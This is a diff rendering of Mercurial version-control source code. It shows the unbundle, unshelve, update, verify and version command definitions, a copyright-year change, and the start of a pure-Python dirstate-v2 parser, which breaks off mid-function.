7566 opts = pycompat.byteskwargs(opts)
7567 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7567 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7568 displayer.show(repo[b'tip'])
7568 displayer.show(repo[b'tip'])
7569 displayer.close()
7569 displayer.close()
7570
7570
7571
7571
7572 @command(
7572 @command(
7573 b'unbundle',
7573 b'unbundle',
7574 [
7574 [
7575 (
7575 (
7576 b'u',
7576 b'u',
7577 b'update',
7577 b'update',
7578 None,
7578 None,
7579 _(b'update to new branch head if changesets were unbundled'),
7579 _(b'update to new branch head if changesets were unbundled'),
7580 )
7580 )
7581 ],
7581 ],
7582 _(b'[-u] FILE...'),
7582 _(b'[-u] FILE...'),
7583 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7583 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7584 )
7584 )
7585 def unbundle(ui, repo, fname1, *fnames, **opts):
7585 def unbundle(ui, repo, fname1, *fnames, **opts):
7586 """apply one or more bundle files
7586 """apply one or more bundle files
7587
7587
7588 Apply one or more bundle files generated by :hg:`bundle`.
7588 Apply one or more bundle files generated by :hg:`bundle`.
7589
7589
7590 Returns 0 on success, 1 if an update has unresolved files.
7590 Returns 0 on success, 1 if an update has unresolved files.
7591 """
7591 """
7592 fnames = (fname1,) + fnames
7592 fnames = (fname1,) + fnames
7593
7593
7594 with repo.lock():
7594 with repo.lock():
7595 for fname in fnames:
7595 for fname in fnames:
7596 f = hg.openpath(ui, fname)
7596 f = hg.openpath(ui, fname)
7597 gen = exchange.readbundle(ui, f, fname)
7597 gen = exchange.readbundle(ui, f, fname)
7598 if isinstance(gen, streamclone.streamcloneapplier):
7598 if isinstance(gen, streamclone.streamcloneapplier):
7599 raise error.InputError(
7599 raise error.InputError(
7600 _(
7600 _(
7601 b'packed bundles cannot be applied with '
7601 b'packed bundles cannot be applied with '
7602 b'"hg unbundle"'
7602 b'"hg unbundle"'
7603 ),
7603 ),
7604 hint=_(b'use "hg debugapplystreamclonebundle"'),
7604 hint=_(b'use "hg debugapplystreamclonebundle"'),
7605 )
7605 )
7606 url = b'bundle:' + fname
7606 url = b'bundle:' + fname
7607 try:
7607 try:
7608 txnname = b'unbundle'
7608 txnname = b'unbundle'
7609 if not isinstance(gen, bundle2.unbundle20):
7609 if not isinstance(gen, bundle2.unbundle20):
7610 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7610 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7611 with repo.transaction(txnname) as tr:
7611 with repo.transaction(txnname) as tr:
7612 op = bundle2.applybundle(
7612 op = bundle2.applybundle(
7613 repo, gen, tr, source=b'unbundle', url=url
7613 repo, gen, tr, source=b'unbundle', url=url
7614 )
7614 )
7615 except error.BundleUnknownFeatureError as exc:
7615 except error.BundleUnknownFeatureError as exc:
7616 raise error.Abort(
7616 raise error.Abort(
7617 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7617 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7618 hint=_(
7618 hint=_(
7619 b"see https://mercurial-scm.org/"
7619 b"see https://mercurial-scm.org/"
7620 b"wiki/BundleFeature for more "
7620 b"wiki/BundleFeature for more "
7621 b"information"
7621 b"information"
7622 ),
7622 ),
7623 )
7623 )
7624 modheads = bundle2.combinechangegroupresults(op)
7624 modheads = bundle2.combinechangegroupresults(op)
7625
7625
7626 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7626 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7627 return 1
7627 return 1
7628 else:
7628 else:
7629 return 0
7629 return 0
7630
7630
7631
7631
7632 @command(
7632 @command(
7633 b'unshelve',
7633 b'unshelve',
7634 [
7634 [
7635 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7635 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7636 (
7636 (
7637 b'c',
7637 b'c',
7638 b'continue',
7638 b'continue',
7639 None,
7639 None,
7640 _(b'continue an incomplete unshelve operation'),
7640 _(b'continue an incomplete unshelve operation'),
7641 ),
7641 ),
7642 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7642 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7643 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7643 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7644 (
7644 (
7645 b'n',
7645 b'n',
7646 b'name',
7646 b'name',
7647 b'',
7647 b'',
7648 _(b'restore shelved change with given name'),
7648 _(b'restore shelved change with given name'),
7649 _(b'NAME'),
7649 _(b'NAME'),
7650 ),
7650 ),
7651 (b't', b'tool', b'', _(b'specify merge tool')),
7651 (b't', b'tool', b'', _(b'specify merge tool')),
7652 (
7652 (
7653 b'',
7653 b'',
7654 b'date',
7654 b'date',
7655 b'',
7655 b'',
7656 _(b'set date for temporary commits (DEPRECATED)'),
7656 _(b'set date for temporary commits (DEPRECATED)'),
7657 _(b'DATE'),
7657 _(b'DATE'),
7658 ),
7658 ),
7659 ],
7659 ],
7660 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7660 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7661 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7661 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7662 )
7662 )
7663 def unshelve(ui, repo, *shelved, **opts):
7663 def unshelve(ui, repo, *shelved, **opts):
7664 """restore a shelved change to the working directory
7664 """restore a shelved change to the working directory
7665
7665
7666 This command accepts an optional name of a shelved change to
7666 This command accepts an optional name of a shelved change to
7667 restore. If none is given, the most recent shelved change is used.
7667 restore. If none is given, the most recent shelved change is used.
7668
7668
7669 If a shelved change is applied successfully, the bundle that
7669 If a shelved change is applied successfully, the bundle that
7670 contains the shelved changes is moved to a backup location
7670 contains the shelved changes is moved to a backup location
7671 (.hg/shelve-backup).
7671 (.hg/shelve-backup).
7672
7672
7673 Since you can restore a shelved change on top of an arbitrary
7673 Since you can restore a shelved change on top of an arbitrary
7674 commit, it is possible that unshelving will result in a conflict
7674 commit, it is possible that unshelving will result in a conflict
7675 between your changes and the commits you are unshelving onto. If
7675 between your changes and the commits you are unshelving onto. If
7676 this occurs, you must resolve the conflict, then use
7676 this occurs, you must resolve the conflict, then use
7677 ``--continue`` to complete the unshelve operation. (The bundle
7677 ``--continue`` to complete the unshelve operation. (The bundle
7678 will not be moved until you successfully complete the unshelve.)
7678 will not be moved until you successfully complete the unshelve.)
7679
7679
7680 (Alternatively, you can use ``--abort`` to abandon an unshelve
7680 (Alternatively, you can use ``--abort`` to abandon an unshelve
7681 that causes a conflict. This reverts the unshelved changes, and
7681 that causes a conflict. This reverts the unshelved changes, and
7682 leaves the bundle in place.)
7682 leaves the bundle in place.)
7683
7683
7684 If bare shelved change (without interactive, include and exclude
7684 If bare shelved change (without interactive, include and exclude
7685 option) was done on newly created branch it would restore branch
7685 option) was done on newly created branch it would restore branch
7686 information to the working directory.
7686 information to the working directory.
7687
7687
7688 After a successful unshelve, the shelved changes are stored in a
7688 After a successful unshelve, the shelved changes are stored in a
7689 backup directory. Only the N most recent backups are kept. N
7689 backup directory. Only the N most recent backups are kept. N
7690 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7690 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7691 configuration option.
7691 configuration option.
7692
7692
7693 .. container:: verbose
7693 .. container:: verbose
7694
7694
7695 Timestamp in seconds is used to decide order of backups. More
7695 Timestamp in seconds is used to decide order of backups. More
7696 than ``maxbackups`` backups are kept, if same timestamp
7696 than ``maxbackups`` backups are kept, if same timestamp
7697 prevents from deciding exact order of them, for safety.
7697 prevents from deciding exact order of them, for safety.
7698
7698
7699 Selected changes can be unshelved with ``--interactive`` flag.
7699 Selected changes can be unshelved with ``--interactive`` flag.
7700 The working directory is updated with the selected changes, and
7700 The working directory is updated with the selected changes, and
7701 only the unselected changes remain shelved.
7701 only the unselected changes remain shelved.
7702 Note: The whole shelve is applied to working directory first before
7702 Note: The whole shelve is applied to working directory first before
7703 running interactively. So, this will bring up all the conflicts between
7703 running interactively. So, this will bring up all the conflicts between
7704 working directory and the shelve, irrespective of which changes will be
7704 working directory and the shelve, irrespective of which changes will be
7705 unshelved.
7705 unshelved.
7706 """
7706 """
7707 with repo.wlock():
7707 with repo.wlock():
7708 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7708 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7709
7709
7710
7710
7711 statemod.addunfinished(
7711 statemod.addunfinished(
7712 b'unshelve',
7712 b'unshelve',
7713 fname=b'shelvedstate',
7713 fname=b'shelvedstate',
7714 continueflag=True,
7714 continueflag=True,
7715 abortfunc=shelvemod.hgabortunshelve,
7715 abortfunc=shelvemod.hgabortunshelve,
7716 continuefunc=shelvemod.hgcontinueunshelve,
7716 continuefunc=shelvemod.hgcontinueunshelve,
7717 cmdmsg=_(b'unshelve already in progress'),
7717 cmdmsg=_(b'unshelve already in progress'),
7718 )
7718 )
7719
7719
7720
7720
7721 @command(
7721 @command(
7722 b'update|up|checkout|co',
7722 b'update|up|checkout|co',
7723 [
7723 [
7724 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7724 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7725 (b'c', b'check', None, _(b'require clean working directory')),
7725 (b'c', b'check', None, _(b'require clean working directory')),
7726 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7726 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7727 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7727 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7728 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7728 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7729 ]
7729 ]
7730 + mergetoolopts,
7730 + mergetoolopts,
7731 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7731 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7732 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7732 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7733 helpbasic=True,
7733 helpbasic=True,
7734 )
7734 )
7735 def update(ui, repo, node=None, **opts):
7735 def update(ui, repo, node=None, **opts):
7736 """update working directory (or switch revisions)
7736 """update working directory (or switch revisions)
7737
7737
7738 Update the repository's working directory to the specified
7738 Update the repository's working directory to the specified
7739 changeset. If no changeset is specified, update to the tip of the
7739 changeset. If no changeset is specified, update to the tip of the
7740 current named branch and move the active bookmark (see :hg:`help
7740 current named branch and move the active bookmark (see :hg:`help
7741 bookmarks`).
7741 bookmarks`).
7742
7742
7743 Update sets the working directory's parent revision to the specified
7743 Update sets the working directory's parent revision to the specified
7744 changeset (see :hg:`help parents`).
7744 changeset (see :hg:`help parents`).
7745
7745
7746 If the changeset is not a descendant or ancestor of the working
7746 If the changeset is not a descendant or ancestor of the working
7747 directory's parent and there are uncommitted changes, the update is
7747 directory's parent and there are uncommitted changes, the update is
7748 aborted. With the -c/--check option, the working directory is checked
7748 aborted. With the -c/--check option, the working directory is checked
7749 for uncommitted changes; if none are found, the working directory is
7749 for uncommitted changes; if none are found, the working directory is
7750 updated to the specified changeset.
7750 updated to the specified changeset.
7751
7751
7752 .. container:: verbose
7752 .. container:: verbose
7753
7753
7754 The -C/--clean, -c/--check, and -m/--merge options control what
7754 The -C/--clean, -c/--check, and -m/--merge options control what
7755 happens if the working directory contains uncommitted changes.
7755 happens if the working directory contains uncommitted changes.
7756 At most of one of them can be specified.
7756 At most of one of them can be specified.
7757
7757
7758 1. If no option is specified, and if
7758 1. If no option is specified, and if
7759 the requested changeset is an ancestor or descendant of
7759 the requested changeset is an ancestor or descendant of
7760 the working directory's parent, the uncommitted changes
7760 the working directory's parent, the uncommitted changes
7761 are merged into the requested changeset and the merged
7761 are merged into the requested changeset and the merged
7762 result is left uncommitted. If the requested changeset is
7762 result is left uncommitted. If the requested changeset is
7763 not an ancestor or descendant (that is, it is on another
7763 not an ancestor or descendant (that is, it is on another
7764 branch), the update is aborted and the uncommitted changes
7764 branch), the update is aborted and the uncommitted changes
7765 are preserved.
7765 are preserved.
7766
7766
7767 2. With the -m/--merge option, the update is allowed even if the
7767 2. With the -m/--merge option, the update is allowed even if the
7768 requested changeset is not an ancestor or descendant of
7768 requested changeset is not an ancestor or descendant of
7769 the working directory's parent.
7769 the working directory's parent.
7770
7770
7771 3. With the -c/--check option, the update is aborted and the
7771 3. With the -c/--check option, the update is aborted and the
7772 uncommitted changes are preserved.
7772 uncommitted changes are preserved.
7773
7773
7774 4. With the -C/--clean option, uncommitted changes are discarded and
7774 4. With the -C/--clean option, uncommitted changes are discarded and
7775 the working directory is updated to the requested changeset.
7775 the working directory is updated to the requested changeset.
7776
7776
7777 To cancel an uncommitted merge (and lose your changes), use
7777 To cancel an uncommitted merge (and lose your changes), use
7778 :hg:`merge --abort`.
7778 :hg:`merge --abort`.
7779
7779
7780 Use null as the changeset to remove the working directory (like
7780 Use null as the changeset to remove the working directory (like
7781 :hg:`clone -U`).
7781 :hg:`clone -U`).
7782
7782
7783 If you want to revert just one file to an older revision, use
7783 If you want to revert just one file to an older revision, use
7784 :hg:`revert [-r REV] NAME`.
7784 :hg:`revert [-r REV] NAME`.
7785
7785
7786 See :hg:`help dates` for a list of formats valid for -d/--date.
7786 See :hg:`help dates` for a list of formats valid for -d/--date.
7787
7787
7788 Returns 0 on success, 1 if there are unresolved files.
7788 Returns 0 on success, 1 if there are unresolved files.
7789 """
7789 """
7790 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7790 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7791 rev = opts.get('rev')
7791 rev = opts.get('rev')
7792 date = opts.get('date')
7792 date = opts.get('date')
7793 clean = opts.get('clean')
7793 clean = opts.get('clean')
7794 check = opts.get('check')
7794 check = opts.get('check')
7795 merge = opts.get('merge')
7795 merge = opts.get('merge')
7796 if rev and node:
7796 if rev and node:
7797 raise error.InputError(_(b"please specify just one revision"))
7797 raise error.InputError(_(b"please specify just one revision"))
7798
7798
7799 if ui.configbool(b'commands', b'update.requiredest'):
7799 if ui.configbool(b'commands', b'update.requiredest'):
7800 if not node and not rev and not date:
7800 if not node and not rev and not date:
7801 raise error.InputError(
7801 raise error.InputError(
7802 _(b'you must specify a destination'),
7802 _(b'you must specify a destination'),
7803 hint=_(b'for example: hg update ".::"'),
7803 hint=_(b'for example: hg update ".::"'),
7804 )
7804 )
7805
7805
7806 if rev is None or rev == b'':
7806 if rev is None or rev == b'':
7807 rev = node
7807 rev = node
7808
7808
7809 if date and rev is not None:
7809 if date and rev is not None:
7810 raise error.InputError(_(b"you can't specify a revision and a date"))
7810 raise error.InputError(_(b"you can't specify a revision and a date"))
7811
7811
7812 updatecheck = None
7812 updatecheck = None
7813 if check or merge is not None and not merge:
7813 if check or merge is not None and not merge:
7814 updatecheck = b'abort'
7814 updatecheck = b'abort'
7815 elif merge or check is not None and not check:
7815 elif merge or check is not None and not check:
7816 updatecheck = b'none'
7816 updatecheck = b'none'
7817
7817
7818 with repo.wlock():
7818 with repo.wlock():
7819 cmdutil.clearunfinished(repo)
7819 cmdutil.clearunfinished(repo)
7820 if date:
7820 if date:
7821 rev = cmdutil.finddate(ui, repo, date)
7821 rev = cmdutil.finddate(ui, repo, date)
7822
7822
7823 # if we defined a bookmark, we have to remember the original name
7823 # if we defined a bookmark, we have to remember the original name
7824 brev = rev
7824 brev = rev
7825 if rev:
7825 if rev:
7826 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7826 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7827 ctx = logcmdutil.revsingle(repo, rev, default=None)
7827 ctx = logcmdutil.revsingle(repo, rev, default=None)
7828 rev = ctx.rev()
7828 rev = ctx.rev()
7829 hidden = ctx.hidden()
7829 hidden = ctx.hidden()
7830 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7830 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7831 with ui.configoverride(overrides, b'update'):
7831 with ui.configoverride(overrides, b'update'):
7832 ret = hg.updatetotally(
7832 ret = hg.updatetotally(
7833 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7833 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7834 )
7834 )
7835 if hidden:
7835 if hidden:
7836 ctxstr = ctx.hex()[:12]
7836 ctxstr = ctx.hex()[:12]
7837 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7837 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7838
7838
7839 if ctx.obsolete():
7839 if ctx.obsolete():
7840 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7840 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7841 ui.warn(b"(%s)\n" % obsfatemsg)
7841 ui.warn(b"(%s)\n" % obsfatemsg)
7842 return ret
7842 return ret
7843
7843
7844
7844
7845 @command(
7845 @command(
7846 b'verify',
7846 b'verify',
7847 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7847 [(b'', b'full', False, b'perform more checks (EXPERIMENTAL)')],
7848 helpcategory=command.CATEGORY_MAINTENANCE,
7848 helpcategory=command.CATEGORY_MAINTENANCE,
7849 )
7849 )
7850 def verify(ui, repo, **opts):
7850 def verify(ui, repo, **opts):
7851 """verify the integrity of the repository
7851 """verify the integrity of the repository
7852
7852
7853 Verify the integrity of the current repository.
7853 Verify the integrity of the current repository.
7854
7854
7855 This will perform an extensive check of the repository's
7855 This will perform an extensive check of the repository's
7856 integrity, validating the hashes and checksums of each entry in
7856 integrity, validating the hashes and checksums of each entry in
7857 the changelog, manifest, and tracked files, as well as the
7857 the changelog, manifest, and tracked files, as well as the
7858 integrity of their crosslinks and indices.
7858 integrity of their crosslinks and indices.
7859
7859
7860 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7860 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7861 for more information about recovery from corruption of the
7861 for more information about recovery from corruption of the
7862 repository.
7862 repository.
7863
7863
7864 Returns 0 on success, 1 if errors are encountered.
7864 Returns 0 on success, 1 if errors are encountered.
7865 """
7865 """
7866 opts = pycompat.byteskwargs(opts)
7866 opts = pycompat.byteskwargs(opts)
7867
7867
7868 level = None
7868 level = None
7869 if opts[b'full']:
7869 if opts[b'full']:
7870 level = verifymod.VERIFY_FULL
7870 level = verifymod.VERIFY_FULL
7871 return hg.verify(repo, level)
7871 return hg.verify(repo, level)
7872
7872
7873
7873
7874 @command(
7874 @command(
7875 b'version',
7875 b'version',
7876 [] + formatteropts,
7876 [] + formatteropts,
7877 helpcategory=command.CATEGORY_HELP,
7877 helpcategory=command.CATEGORY_HELP,
7878 norepo=True,
7878 norepo=True,
7879 intents={INTENT_READONLY},
7879 intents={INTENT_READONLY},
7880 )
7880 )
7881 def version_(ui, **opts):
7881 def version_(ui, **opts):
7882 """output version and copyright information
7882 """output version and copyright information
7883
7883
7884 .. container:: verbose
7884 .. container:: verbose
7885
7885
7886 Template:
7886 Template:
7887
7887
7888 The following keywords are supported. See also :hg:`help templates`.
7888 The following keywords are supported. See also :hg:`help templates`.
7889
7889
7890 :extensions: List of extensions.
7890 :extensions: List of extensions.
7891 :ver: String. Version number.
7891 :ver: String. Version number.
7892
7892
7893 And each entry of ``{extensions}`` provides the following sub-keywords
7893 And each entry of ``{extensions}`` provides the following sub-keywords
7894 in addition to ``{ver}``.
7894 in addition to ``{ver}``.
7895
7895
7896 :bundled: Boolean. True if included in the release.
7896 :bundled: Boolean. True if included in the release.
7897 :name: String. Extension name.
7897 :name: String. Extension name.
7898 """
7898 """
7899 opts = pycompat.byteskwargs(opts)
7899 opts = pycompat.byteskwargs(opts)
7900 if ui.verbose:
7900 if ui.verbose:
7901 ui.pager(b'version')
7901 ui.pager(b'version')
7902 fm = ui.formatter(b"version", opts)
7902 fm = ui.formatter(b"version", opts)
7903 fm.startitem()
7903 fm.startitem()
7904 fm.write(
7904 fm.write(
7905 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7905 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7906 )
7906 )
7907 license = _(
7907 license = _(
7908 b"(see https://mercurial-scm.org for more information)\n"
7908 b"(see https://mercurial-scm.org for more information)\n"
7909 b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n"
7909 b"\nCopyright (C) 2005-2022 Olivia Mackall and others\n"
7910 b"This is free software; see the source for copying conditions. "
7910 b"This is free software; see the source for copying conditions. "
7911 b"There is NO\nwarranty; "
7911 b"There is NO\nwarranty; "
7912 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7912 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7913 )
7913 )
7914 if not ui.quiet:
7914 if not ui.quiet:
7915 fm.plain(license)
7915 fm.plain(license)
7916
7916
7917 if ui.verbose:
7917 if ui.verbose:
7918 fm.plain(_(b"\nEnabled extensions:\n\n"))
7918 fm.plain(_(b"\nEnabled extensions:\n\n"))
7919 # format names and versions into columns
7919 # format names and versions into columns
7920 names = []
7920 names = []
7921 vers = []
7921 vers = []
7922 isinternals = []
7922 isinternals = []
7923 for name, module in sorted(extensions.extensions()):
7923 for name, module in sorted(extensions.extensions()):
7924 names.append(name)
7924 names.append(name)
7925 vers.append(extensions.moduleversion(module) or None)
7925 vers.append(extensions.moduleversion(module) or None)
7926 isinternals.append(extensions.ismoduleinternal(module))
7926 isinternals.append(extensions.ismoduleinternal(module))
7927 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7927 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7928 if names:
7928 if names:
7929 namefmt = b" %%-%ds " % max(len(n) for n in names)
7929 namefmt = b" %%-%ds " % max(len(n) for n in names)
7930 places = [_(b"external"), _(b"internal")]
7930 places = [_(b"external"), _(b"internal")]
7931 for n, v, p in zip(names, vers, isinternals):
7931 for n, v, p in zip(names, vers, isinternals):
7932 fn.startitem()
7932 fn.startitem()
7933 fn.condwrite(ui.verbose, b"name", namefmt, n)
7933 fn.condwrite(ui.verbose, b"name", namefmt, n)
7934 if ui.verbose:
7934 if ui.verbose:
7935 fn.plain(b"%s " % places[p])
7935 fn.plain(b"%s " % places[p])
7936 fn.data(bundled=p)
7936 fn.data(bundled=p)
7937 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7937 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7938 if ui.verbose:
7938 if ui.verbose:
7939 fn.plain(b"\n")
7939 fn.plain(b"\n")
7940 fn.end()
7940 fn.end()
7941 fm.end()
7941 fm.end()
7942
7942
7943
7943
7944 def loadcmdtable(ui, name, cmdtable):
7944 def loadcmdtable(ui, name, cmdtable):
7945 """Load command functions from specified cmdtable"""
7945 """Load command functions from specified cmdtable"""
7946 overrides = [cmd for cmd in cmdtable if cmd in table]
7946 overrides = [cmd for cmd in cmdtable if cmd in table]
7947 if overrides:
7947 if overrides:
7948 ui.warn(
7948 ui.warn(
7949 _(b"extension '%s' overrides commands: %s\n")
7949 _(b"extension '%s' overrides commands: %s\n")
7950 % (name, b" ".join(overrides))
7950 % (name, b" ".join(overrides))
7951 )
7951 )
7952 table.update(cmdtable)
7952 table.update(cmdtable)
@@ -1,401 +1,422 b''
1 # v2.py - Pure-Python implementation of the dirstate-v2 file format
1 # v2.py - Pure-Python implementation of the dirstate-v2 file format
2 #
2 #
3 # Copyright Mercurial Contributors
3 # Copyright Mercurial Contributors
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import struct
10 import struct
11
11
12 from ..thirdparty import attr
12 from ..thirdparty import attr
13 from .. import error, policy
13 from .. import error, policy
14
14
15 parsers = policy.importmod('parsers')
15 parsers = policy.importmod('parsers')
16
16
17
17
18 # Must match the constant of the same name in
18 # Must match the constant of the same name in
19 # `rust/hg-core/src/dirstate_tree/on_disk.rs`
19 # `rust/hg-core/src/dirstate_tree/on_disk.rs`
20 TREE_METADATA_SIZE = 44
20 TREE_METADATA_SIZE = 44
21 NODE_SIZE = 44
21 NODE_SIZE = 44
22
22
23
23
24 # Must match the `TreeMetadata` Rust struct in
24 # Must match the `TreeMetadata` Rust struct in
25 # `rust/hg-core/src/dirstate_tree/on_disk.rs`. See doc-comments there.
25 # `rust/hg-core/src/dirstate_tree/on_disk.rs`. See doc-comments there.
26 #
26 #
27 # * 4 bytes: start offset of root nodes
27 # * 4 bytes: start offset of root nodes
28 # * 4 bytes: number of root nodes
28 # * 4 bytes: number of root nodes
29 # * 4 bytes: total number of nodes in the tree that have an entry
29 # * 4 bytes: total number of nodes in the tree that have an entry
30 # * 4 bytes: total number of nodes in the tree that have a copy source
30 # * 4 bytes: total number of nodes in the tree that have a copy source
31 # * 4 bytes: number of bytes in the data file that are not used anymore
31 # * 4 bytes: number of bytes in the data file that are not used anymore
32 # * 4 bytes: unused
32 # * 4 bytes: unused
33 # * 20 bytes: SHA-1 hash of ignore patterns
33 # * 20 bytes: SHA-1 hash of ignore patterns
34 TREE_METADATA = struct.Struct('>LLLLL4s20s')
34 TREE_METADATA = struct.Struct('>LLLLL4s20s')
35
35
36
36
37 # Must match the `Node` Rust struct in
37 # Must match the `Node` Rust struct in
38 # `rust/hg-core/src/dirstate_tree/on_disk.rs`. See doc-comments there.
38 # `rust/hg-core/src/dirstate_tree/on_disk.rs`. See doc-comments there.
39 #
39 #
40 # * 4 bytes: start offset of full path
40 # * 4 bytes: start offset of full path
41 # * 2 bytes: length of the full path
41 # * 2 bytes: length of the full path
42 # * 2 bytes: length within the full path before its "base name"
42 # * 2 bytes: length within the full path before its "base name"
43 # * 4 bytes: start offset of the copy source if any, or zero for no copy source
43 # * 4 bytes: start offset of the copy source if any, or zero for no copy source
44 # * 2 bytes: length of the copy source if any, or unused
44 # * 2 bytes: length of the copy source if any, or unused
45 # * 4 bytes: start offset of child nodes
45 # * 4 bytes: start offset of child nodes
46 # * 4 bytes: number of child nodes
46 # * 4 bytes: number of child nodes
47 # * 4 bytes: number of descendant nodes that have an entry
47 # * 4 bytes: number of descendant nodes that have an entry
48 # * 4 bytes: number of descendant nodes that have a "tracked" state
48 # * 4 bytes: number of descendant nodes that have a "tracked" state
49 # * 1 byte: flags
49 # * 1 byte: flags
50 # * 4 bytes: expected size
50 # * 4 bytes: expected size
51 # * 4 bytes: mtime seconds
51 # * 4 bytes: mtime seconds
52 # * 4 bytes: mtime nanoseconds
52 # * 4 bytes: mtime nanoseconds
53 NODE = struct.Struct('>LHHLHLLLLHlll')
53 NODE = struct.Struct('>LHHLHLLLLHlll')
54
54
55
55
56 assert TREE_METADATA_SIZE == TREE_METADATA.size
56 assert TREE_METADATA_SIZE == TREE_METADATA.size
57 assert NODE_SIZE == NODE.size
57 assert NODE_SIZE == NODE.size
58
58
59 # match constant in mercurial/pure/parsers.py
59 # match constant in mercurial/pure/parsers.py
60 DIRSTATE_V2_DIRECTORY = 1 << 5
60 DIRSTATE_V2_DIRECTORY = 1 << 5
61
61
62
62
63 def parse_dirstate(map, copy_map, data, tree_metadata):
63 def parse_dirstate(map, copy_map, data, tree_metadata):
64 """parse a full v2-dirstate from a binary data into dictionnaries:
64 """parse a full v2-dirstate from a binary data into dictionnaries:
65
65
66 - map: a {path: entry} mapping that will be filled
66 - map: a {path: entry} mapping that will be filled
67 - copy_map: a {path: copy-source} mapping that will be filled
67 - copy_map: a {path: copy-source} mapping that will be filled
68 - data: a binary blob contains v2 nodes data
68 - data: a binary blob contains v2 nodes data
69 - tree_metadata:: a binary blob of the top level node (from the docket)
69 - tree_metadata:: a binary blob of the top level node (from the docket)
70 """
70 """
71 (
71 (
72 root_nodes_start,
72 root_nodes_start,
73 root_nodes_len,
73 root_nodes_len,
74 _nodes_with_entry_count,
74 _nodes_with_entry_count,
75 _nodes_with_copy_source_count,
75 _nodes_with_copy_source_count,
76 _unreachable_bytes,
76 _unreachable_bytes,
77 _unused,
77 _unused,
78 _ignore_patterns_hash,
78 _ignore_patterns_hash,
79 ) = TREE_METADATA.unpack(tree_metadata)
79 ) = TREE_METADATA.unpack(tree_metadata)
80 parse_nodes(map, copy_map, data, root_nodes_start, root_nodes_len)
80 parse_nodes(map, copy_map, data, root_nodes_start, root_nodes_len)
81
81
82
82
83 def parse_nodes(map, copy_map, data, start, len):
83 def parse_nodes(map, copy_map, data, start, len):
84 """parse <len> nodes from <data> starting at offset <start>
84 """parse <len> nodes from <data> starting at offset <start>
85
85
86 This is used by parse_dirstate to recursively fill `map` and `copy_map`.
86 This is used by parse_dirstate to recursively fill `map` and `copy_map`.
87
87
88 All directory specific information is ignored and do not need any
88 All directory specific information is ignored and do not need any
89 processing (DIRECTORY, ALL_UNKNOWN_RECORDED, ALL_IGNORED_RECORDED)
89 processing (DIRECTORY, ALL_UNKNOWN_RECORDED, ALL_IGNORED_RECORDED)
90 """
90 """
91 for i in range(len):
91 for i in range(len):
92 node_start = start + NODE_SIZE * i
92 node_start = start + NODE_SIZE * i
93 node_bytes = slice_with_len(data, node_start, NODE_SIZE)
93 node_bytes = slice_with_len(data, node_start, NODE_SIZE)
94 (
94 (
95 path_start,
95 path_start,
96 path_len,
96 path_len,
97 _basename_start,
97 _basename_start,
98 copy_source_start,
98 copy_source_start,
99 copy_source_len,
99 copy_source_len,
100 children_start,
100 children_start,
101 children_count,
101 children_count,
